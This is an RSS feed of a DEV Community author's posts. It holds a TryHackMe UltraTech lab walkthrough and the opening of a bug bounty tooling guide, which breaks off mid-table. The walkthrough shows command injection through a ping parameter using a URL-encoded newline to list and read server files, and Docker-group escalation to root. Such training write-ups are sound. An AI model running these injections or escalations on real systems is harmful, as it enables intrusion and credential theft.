<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: haXarubiX</title>
    <description>The latest articles on DEV Community by haXarubiX (@hax).</description>
    <link>https://dev.to/hax</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1505264%2F042cbb2d-2f32-4692-bba8-04be26b1d6d8.jpg</url>
      <title>DEV Community: haXarubiX</title>
      <link>https://dev.to/hax</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/hax"/>
    <language>en</language>
    <item>
      <title>TryHackMe UltraTech Room Walkthrough</title>
      <dc:creator>haXarubiX</dc:creator>
      <pubDate>Mon, 31 Mar 2025 05:57:42 +0000</pubDate>
      <link>https://dev.to/hax/tryhackme-ultratech-room-walkthrough-1d2</link>
      <guid>https://dev.to/hax/tryhackme-ultratech-room-walkthrough-1d2</guid>
      <description>&lt;h3&gt;
  
  
  &lt;strong&gt;1. Exporting the IP Address&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The first command is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10.10.82.85

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Explanation:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;This command sets an environment variable called &lt;code&gt;IP&lt;/code&gt; with the value &lt;code&gt;10.10.82.85&lt;/code&gt; (the IP of the target machine).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Why use it?&lt;/strong&gt; It makes it easier to reference the IP in future commands without needing to type it every time. By using &lt;code&gt;$IP&lt;/code&gt; later, you reference this stored value.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Basic Example:&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;If you wanted to run the command &lt;code&gt;ping&lt;/code&gt; the IP, you could now type:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ping &lt;span class="nv"&gt;$IP&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And this would automatically translate to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ping 10.10.82.85

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  &lt;strong&gt;2. Nmap Enumeration&lt;/strong&gt;
&lt;/h3&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Initial Nmap Scan&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;We perform a basic scan to gather information about the target services:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nv"&gt;$IP&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap/initial.nmap

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Explanation:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;nmap&lt;/code&gt;: This is a network scanning tool used to discover hosts and services.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sC&lt;/code&gt;: This option runs the default Nmap scripts, which are designed to detect common vulnerabilities or gather information.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sV&lt;/code&gt;: Detects service versions, helping you know the specific versions of the services running on the open ports.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;v&lt;/code&gt;: Enables verbose mode, which provides more detailed output during the scan.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;oN nmap/initial.nmap&lt;/code&gt;: Saves the results to a file (&lt;code&gt;nmap/initial.nmap&lt;/code&gt;) for review later.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Why This Matters:&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;This scan helps identify the types of services running (like SSH, FTP, or HTTP) and their version numbers, which could help find vulnerabilities or misconfigurations.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;Explanation of Nmap Results&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;From the scan, we get this output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
31331/tcp open  http    Apache httpd 2.4.29 (Ubuntu)

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Port 21 (FTP):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Service:&lt;/strong&gt; &lt;code&gt;vsftpd&lt;/code&gt; (Very Secure FTP Daemon), version 3.0.3.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;FTP&lt;/strong&gt; is a protocol for file transfer, and in some cases, FTP can allow for anonymous access, where anyone can log in without credentials.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Port 22 (SSH):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Service:&lt;/strong&gt; &lt;code&gt;OpenSSH&lt;/code&gt;, a secure shell service used for remote login and command execution. Version 7.6p1 is running.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSH&lt;/strong&gt; is typically secured with usernames and passwords or key-based authentication.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Port 31331 (HTTP):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Service:&lt;/strong&gt; &lt;code&gt;Apache&lt;/code&gt;, a popular web server. This is where the website runs. The version is 2.4.29, which might have vulnerabilities depending on its configuration.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Next Step: Full Port Scan&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Now, let’s scan &lt;strong&gt;all ports&lt;/strong&gt; on the machine. This helps catch any ports that were missed in the first scan.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;-T5&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nv"&gt;$IP&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap/all_ports.nmap

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Explanation:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;p-&lt;/code&gt;: Scans all 65,535 ports (not just the common ones).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;T5&lt;/code&gt;: This is the timing option; 5 is the fastest but might miss some results. In some cases, you’ll want to use &lt;code&gt;T4&lt;/code&gt; (slower, more accurate).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;oN&lt;/code&gt;: Again, saving the output for future reference.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;Explanation of Full Nmap Scan Results&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
8081/tcp open  blackice-icecap

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Port 8081:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;This port appears to be running &lt;strong&gt;Node.js&lt;/strong&gt;, a JavaScript framework. Since this wasn't picked up in the initial scan, the all-ports scan reveals more services we can investigate.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;3. Investigating Specific Ports&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Now, since we identified a service on port &lt;strong&gt;8081&lt;/strong&gt;, let's dig deeper to see what’s running on that port.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 8081 &lt;span class="nv"&gt;$IP&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; port_8081.nmap

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Explanation:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;sV&lt;/code&gt;: Attempts to detect the service version.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;p 8081&lt;/code&gt;: Only scan port 8081.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;oN&lt;/code&gt;: Saves the output to &lt;code&gt;port_8081.nmap&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Nmap Result for Port 8081&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT     STATE SERVICE VERSION
8081/tcp open  http    Node.js Express framework

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Node.js Express Framework:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;This is a web framework often used for building APIs and web applications. If it’s not properly secured, it might be vulnerable to command injection or other attacks.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;4. Gobuster Directory Brute Forcing&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;We know that port &lt;strong&gt;31331&lt;/strong&gt; is running a web server (Apache). Now, we can use &lt;strong&gt;Gobuster&lt;/strong&gt; to brute force directories and files.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Brute Forcing Directories on Port 31331&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 64 &lt;span class="nt"&gt;-u&lt;/span&gt; &amp;lt;http://&lt;span class="nv"&gt;$IP&lt;/span&gt;:31331&amp;gt; &lt;span class="nt"&gt;-w&lt;/span&gt; ~/wordlists/website_dir/directory-list-2.3-medium.txt &lt;span class="nt"&gt;-x&lt;/span&gt; .php,.html,.txt &lt;span class="nt"&gt;-o&lt;/span&gt; gobuster/dir_med_31331.gobuster

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Explanation:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;gobuster&lt;/code&gt;: Tool used to brute force directories on websites.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dir&lt;/code&gt;: Directory brute forcing mode.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;t 64&lt;/code&gt;: Uses 64 threads (speeding up the process).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;u&lt;/code&gt;: The target URL (&lt;code&gt;http://$IP:31331&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;w&lt;/code&gt;: The wordlist you use to brute force (in this case, a medium-sized directory list).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;x&lt;/code&gt;: Brute forces file extensions like &lt;code&gt;.php&lt;/code&gt;, &lt;code&gt;.html&lt;/code&gt;, &lt;code&gt;.txt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;o&lt;/code&gt;: Saves the output to a file (&lt;code&gt;gobuster/dir_med_31331.gobuster&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Results:&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/partners.html        (Status: 200)
/robots.txt           (Status: 200)

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;robots.txt&lt;/strong&gt; is a file that tells search engines which directories they should avoid indexing. Sometimes, it contains useful information about hidden or important directories.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Check Robots.txt:&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &amp;lt;http://&lt;span class="nv"&gt;$IP&lt;/span&gt;:31331/robots.txt&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This gives us:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/utech_sitemap.txt

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;strong&gt;Check Sitemap:&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &amp;lt;http://&lt;span class="nv"&gt;$IP&lt;/span&gt;:31331/utech_sitemap.txt&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This sitemap shows the important directories on the web server:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/
/index.html
/what.html
/partners.html

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Navigating to &lt;strong&gt;/partners.html&lt;/strong&gt; shows a login page, and trying to log in reveals that the form sends login requests to port 8081 (&lt;code&gt;/auth&lt;/code&gt; endpoint). This is interesting because we might be able to inject commands here.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;5. Exploring Vulnerabilities&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The service on &lt;strong&gt;port 8081&lt;/strong&gt; has a &lt;strong&gt;ping&lt;/strong&gt; functionality. This might be vulnerable to command injection if not properly sanitized.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Test for Command Injection&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;First, let’s set up a &lt;strong&gt;tcpdump&lt;/strong&gt; session on our own machine to capture ping requests:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; utun1 icmp

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Explanation:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;tcpdump&lt;/code&gt;: This is a network traffic analyzer.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;i utun1&lt;/code&gt;: This specifies the network interface. You may need to adjust the interface depending on your system (use &lt;code&gt;ifconfig&lt;/code&gt; or &lt;code&gt;ip addr&lt;/code&gt; to find the right one).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Send a Ping Request to Your Machine&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"&amp;lt;http://&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt;:8081/ping?ip=YOUR_IP&amp;gt;"&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the service is vulnerable, you should see an ICMP packet captured by &lt;strong&gt;tcpdump&lt;/strong&gt; on your machine.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;6. Exploiting Command Injection&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;To exploit this, we need to inject commands into the ping request.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Injecting Commands Using URL Encoding&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;We know that &lt;code&gt;%0A&lt;/code&gt; is the URL-encoded form of a newline (&lt;code&gt;\\n&lt;/code&gt;). This lets us inject additional commands. Let’s try running an &lt;code&gt;ls&lt;/code&gt; command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"&amp;lt;http://10.10.82.85:8081/ping?ip=YOUR_IP%0Als&amp;gt;"&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;%0A&lt;/code&gt;: Newline, which allows us to execute a second command (&lt;code&gt;ls&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This results in a directory listing:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;index.js
node_modules
package.json

&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Extracting Sensitive Data&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Let’s attempt to read files from the server, such as a database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"&amp;lt;http://10.10.82.85:8081/ping?ip=YOUR&amp;gt;

_IP%0Acat%20&amp;lt;file_path&amp;gt;"&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We retrieve sensitive information, including usernames and password hashes.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;7. Privilege Escalation via Docker&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;After logging in via SSH (using cracked credentials), we check for potential privilege escalation paths.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Check for Docker Group Membership&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;id&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We find the user is part of the &lt;strong&gt;docker group&lt;/strong&gt;, which can be exploited to gain root access.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Exploiting Docker for Privilege Escalation&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Use &lt;strong&gt;GTFObins&lt;/strong&gt; to escalate privileges by running a Docker container with access to the entire filesystem:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-v&lt;/span&gt; /:/mnt &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; bash &lt;span class="nb"&gt;chroot&lt;/span&gt; /mnt sh

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Explanation:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;v /:/mnt&lt;/code&gt;: Mounts the root of the filesystem (&lt;code&gt;/&lt;/code&gt;) to &lt;code&gt;/mnt&lt;/code&gt; in the Docker container.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;chroot /mnt sh&lt;/code&gt;: Changes the root to &lt;code&gt;/mnt&lt;/code&gt; and spawns a shell with root privileges.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;Now, you have full root access to the system.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Kali Linux + OWASP-Top10 Bug Bounty Guide ( How to Bug Bounty)</title>
      <dc:creator>haXarubiX</dc:creator>
      <pubDate>Fri, 21 Feb 2025 23:33:48 +0000</pubDate>
      <link>https://dev.to/hax/kali-linux-owasp-top10-bug-bounty-guide-how-to-bug-bounty-2bl1</link>
      <guid>https://dev.to/hax/kali-linux-owasp-top10-bug-bounty-guide-how-to-bug-bounty-2bl1</guid>
      <description>&lt;h1&gt;
  
  
  Bug-Bounty Using Kali-Linux &amp;amp; OWASP-Top10
&lt;/h1&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;OWASP Top 10 Vulnerabilities&lt;/strong&gt;
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;The OWASP Top 10 list includes the most critical security risks for web applications:&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;Rank&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Vulnerability&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;A01:2021&lt;/td&gt;
&lt;td&gt;Broken Access Control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A02:2021&lt;/td&gt;
&lt;td&gt;Cryptographic Failures&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A03:2021&lt;/td&gt;
&lt;td&gt;Injection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A04:2021&lt;/td&gt;
&lt;td&gt;Insecure Design&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A05:2021&lt;/td&gt;
&lt;td&gt;Security Misconfiguration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A06:2021&lt;/td&gt;
&lt;td&gt;Vulnerable and Outdated Components&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A07:2021&lt;/td&gt;
&lt;td&gt;Identification and Authentication Failures&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A08:2021&lt;/td&gt;
&lt;td&gt;Software and Data Integrity Failures&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A09:2021&lt;/td&gt;
&lt;td&gt;Security Logging and Monitoring Failures&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A10:2021&lt;/td&gt;
&lt;td&gt;Server-Side Request Forgery (SSRF)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h1&gt;
  
  
  Overview
&lt;/h1&gt;




&lt;h3&gt;
  
  
  1. &lt;strong&gt;Getting Started with Bug Bounties&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;1.1 Research and Registration&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Step 1&lt;/strong&gt;: Research and choose bug bounty platforms like &lt;a href="https://www.hackerone.com/" rel="noopener noreferrer"&gt;HackerOne&lt;/a&gt; or &lt;a href="https://www.bugcrowd.com/" rel="noopener noreferrer"&gt;Bugcrowd&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step 2&lt;/strong&gt;: Register on these platforms by creating a hacker profile.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step 3&lt;/strong&gt;: Review the rules of engagement for each program you wish to participate in (make sure you follow the target's scope).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step 4&lt;/strong&gt;: Start by choosing beginner-friendly programs with open scopes. I know it sucks but doing bounties that are unpaid is one of the best ways to get invited to private programs. (( My advice utilize HackTheBox or TryHackMe Bug Bounty Paths&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;h3&gt;
  
  
  2. &lt;strong&gt;Preparing Your Environment&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;2.1 Setting up the Tools&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;SubFinder (Subdomain Enumeration)&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Step 1&lt;/strong&gt;: Install Go language: &lt;code&gt;sudo apt install golang-go&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step 2&lt;/strong&gt;: Install SubFinder: &lt;code&gt;go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step 3&lt;/strong&gt;: Test SubFinder installation: &lt;code&gt;subfinder -v&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;httpx (Check Alive Subdomains)&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Step 1&lt;/strong&gt;: Install httpx: &lt;code&gt;go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step 2&lt;/strong&gt;: Verify the installation: &lt;code&gt;httpx -v&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Katana (Content Discovery)&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Step 1&lt;/strong&gt;: Install Katana: &lt;code&gt;go install github.com/projectdiscovery/katana/cmd/katana@latest&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step 2&lt;/strong&gt;: Run and verify: &lt;code&gt;katana -v&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Dirsearch (Directory Brute-forcing)&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Step 1&lt;/strong&gt;: Install using Git: &lt;code&gt;git clone &amp;lt;https://github.com/maurosoria/dirsearch.git&lt;/code&gt;&amp;gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step 2&lt;/strong&gt;: Navigate to the directory: &lt;code&gt;cd dirsearch&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step 3&lt;/strong&gt;: Run Dirsearch: &lt;code&gt;python3 dirsearch.py&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Nuclei (Vulnerability Scanning)&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Step 1&lt;/strong&gt;: Install: &lt;code&gt;go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step 2&lt;/strong&gt;: Verify: &lt;code&gt;nuclei -v&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;




&lt;h3&gt;
  
  
  3. &lt;strong&gt;OWASP Top 10 Vulnerabilities&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The OWASP Top 10 list includes the most critical security risks for web applications:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;Rank&lt;/strong&gt;&lt;/th&gt;
